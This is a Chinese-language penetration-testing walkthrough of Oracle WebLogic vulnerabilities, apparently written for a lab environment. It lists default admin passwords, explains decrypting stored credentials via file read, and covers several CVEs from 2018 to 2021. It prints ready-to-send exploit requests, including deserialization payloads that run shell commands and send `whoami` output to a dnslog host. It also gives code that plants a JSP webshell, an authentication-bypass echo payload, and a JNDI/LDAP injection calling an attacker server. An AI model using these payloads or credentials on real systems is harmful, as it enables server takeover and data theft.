文章目录
Weblogic 常规渗透测试环境
0x00 测试环境
本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。
Weblogic版本:10.3.6
Java版本:1.6
0x01 弱口令
weblogic常用弱口令:
system / password
weblogic / weblogic
weblogic / Oracle@123
admin / admin
joe / password
mary / password
system / security
wlcsystem / wlcsystem
wlpisystem / wlpisystem
0x02 任意文件读取漏洞的利用
本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd
可见成功读取passwd文件
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat
和config.xml
SerializedSystemIni.dat
是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
config.xml
是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码:
然后就可以使用工具解密密文了。
0x03 后台上传webshell
进入后台,点击左侧【部署】 => 【安装】 => 【上载文件】:
一直点上面的下一步:
点击完成,保存:
访问大马连接:
Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
0x00 漏洞描述
T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的序列化数据,,进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击,可导致未授权的用户在远程服务器执行任意命令。
反射机制:
Java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方向和属性;这种动态获取的信息以及动态调用对象的方法称为 java 语言的反射机制。
RMI:
RMI是Remote Method Invocation
的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开放,并且服务端使用了像Apache Commons Collections
这类库,那么回导致远程命令执行。
RMI依赖Java远程消息交换协议JRMP(Java Remote Messaging Protocol
),该协议为java定制,要求服务端与客户端都为java编写。
绕过黑名单:
Weblogic 中InboundMsgAbbrev
的resolveProxyClass
处理rmi接口类型,因为只判断了java.rmi.registry.Registry
,找一个其他的RMI 接口绕过,比如java.rmi.activation.Activator
为 RMI 对象激活提供支持。
0x01 影响版本
Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3
0x02 漏洞分析
其基本原理其实是利用T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用,能够在本地虚拟机上调用远端代码。
T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。
Weblogic 使用了Apache Commons Collections
库,利用Apache Commons Collections
库,通过反射的方式执行恶意payload,这里实现反射的函数是InvokerTransformer
,他们的共同特点是都需要实现序列化接口才能被反序列化。
源码分析:http://blog.topsec.com.cn/cve-2018-2628-weblogic
0x03 漏洞复现
下载工具上传webshell:https://github.com/jas502n/CVE-2018-2628
访问木马地址,命令需要经过base64编码:
T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap:nmap -sV --script=weblogic-t3-info.nse -p 7001
内网使用最新的利用链即可:https://github.com/Bort-Millipede/WLT3Serial
Weblogic 任意文件上传漏洞(CVE-2018-2894)
0x00 漏洞描述
WebLogic管理端未授权的两个页面存在任意上传漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do
,/ws_utc/config.do
。
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
0x01 影响版本
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.2.1.2
Oracle WebLogic Server 12.2.1.3
0x02 漏洞分析
/ws_utc/config.do
在开发模式下无需认证,Web Service Test Page在生产模式下默认不开启,利用起来有一定限制。访问/ws_utc/config.do
可上传任意文件,而上传文件过程没有做任何过滤和检查。
源码分析:https://xz.aliyun.com/t/2458
0x03 漏洞复现
访问http://your-ip:7001/ws_utc/config.do
,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
。将目录设置为ws_utc
应用的静态文件css目录,访问这个目录是无需权限的:
然后点击安全 -> 增加,然后上传webshell:
上传后,查看返回的数据包,其中有时间戳:
然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
,可执行webshell:
Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)
0x00 漏洞描述
Weblogic反序列化远程代码执行漏洞。由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送特意构造的恶意HTTP请求,利用该漏洞获取服务器权限,实现远程代码执行。
0x01 影响版本
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
0x02 漏洞分析
该漏洞存在于wls9-async组件,该组件为异步通讯服务,攻击者可以在/_async/AsyncResponseService
路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。
wls9_async组件是默认启用的,访问http://xxxxx/_async/AsyncResponseService 页面(注意不能用/
闭合),若出现以下状况,则可能存在漏洞:
或者访问http://xxxxx/_async/ 页面,页面返回403则可能存在漏洞,返回404则不存在:
源码分析:https://www.freebuf.com/articles/web/202203.html
0x03 漏洞复现
环境搭建完成后,访问http://xxxxx/_async/AsyncResponseService ,并带上下方poc,用dnslog外带数据:
POST /_async/AsyncResponseService HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 859
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping `whoami`.xxx.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
写入webshell小技巧 ,添加info有路径显示:
利用下方POC上传webshell:
POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 1142
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
访问执行:
Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)
0x00 漏洞描述
CVE-2020-14882
允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883
允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。
0x01 影响版本
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
0x02 漏洞分析
CVE-2020-14882
是绕过weblogic控制台认证:
- 访问一些console后台的资源文件的时候,console在处理请求时是不需要登录状态的。
- weblogic会对提交的url进行两次url编码。
通过二者之间的配合,在后续的操作中weblogic并没有对路径穿越进行防范,可访问/console/css/%252e%252e%252fconsole.portal
绕过登录限制
而CVE-2020-14883
则是经过身份认证的反序列化RCE,两者结合可导致未经身份认证的RCE
源码分析:http://hackdig.com/11/hack-190259.htm
0x03 漏洞复现
正常访问console会跳转至登录页面,访问http://your-ip:7001/console/css/%252e%252e%252fconsole.portal可绕过登录限制访问后台:
这与横穿输入账号认证登录后的页面是有差异的,由于权限不足,缺少部署功能,此时是无权上传webshell的,这时候就需要第二个漏洞CVE-2020-14883
第一种方式,通过com.tangosol.coherence.mvel2.sh.ShellSession
(只对12.2.1 及以上版本利用,因为 10.3.6 不存在该类):
构造回显payload:
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=AFM58CIW0tRolAvGMWDy1cDkwKV928cS6c_HVcnAQls_Klr4buGA!-549917897;
UM_distinctid=17baaaf137a359-0c8cd346ea5ed58-4c3e247b-1fa400-17baaaf137b3ad
cmd: id
Upgrade-Insecure-Requests: 1
请求头中添加cmd头:
第二种方式,通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
类来加载外部xml执行命令, 是一种更常见的漏洞利用,它首先在CVE-2019-2725
中引入,可用于任何 Weblogic 版本。
受限构造一个XML文件并放在weblogic可访问的服务器上:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
weblogic将加载外部xml执行其中命令,成功创建文件(利用条件是目标服务器能出外网):
Weblogic LDAP 远程代码执行漏洞(CVE-2021-2109)
0x00 漏洞描述
该漏洞为Weblogic的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可构造恶意请求,执行任意代码,从而控制服务器。JDK 6u201、7u191、8u182、11.0.1版本或以上不受CVE-2021-2109漏洞的影响。
0x01 影响版本
WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0
0x02 漏洞分析
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
RMI是Java远程方法调用,是Java编程语言里一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。
LDAP是基于X.500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
攻击者可通过LDAP协议方式实现JNDI注入攻击,加载远程CodeBase下的恶意类,最后达到远程代码执行
源码分析:https://zhuanlan.zhihu.com/p/404255545
0x03 漏洞复现
访问http://you-ip:7001/console/css/%252e%252e%252f/consolejndi.portal,若存在未授权访问,则影响范围内可能存在此漏洞:
首先需要在另一台公网服务器(目标机能通的服务器)上启动ldap脚本:https://github.com/feihong-cs/JNDIExploit
java -jar JNDIExploit-v1.11.jar -i xx.xxx.xxx.xxx (服务器ip)
访问执行命令回显:
/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)
注意,ldap地址的第三个分隔符为分号
参考链接:
https://xz.aliyun.com/t/2458(WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】)
https://blog.csdn.net/xuandao_ahfengren/article/details/106597145(CVE-2018-2628漏洞复现)
https://blog.csdn.net/yeshankuangrenaaaaa/article/details/107533194(CVE-2019-2725漏洞复现)
https://144.one/weblogic-cve-2020-1488214883lou-dong-fen-xi.html(weblogic-cve-2020-1488214883)
https://www.cnblogs.com/xuanlvsec/p/14341151.html(CVE-2021-2109)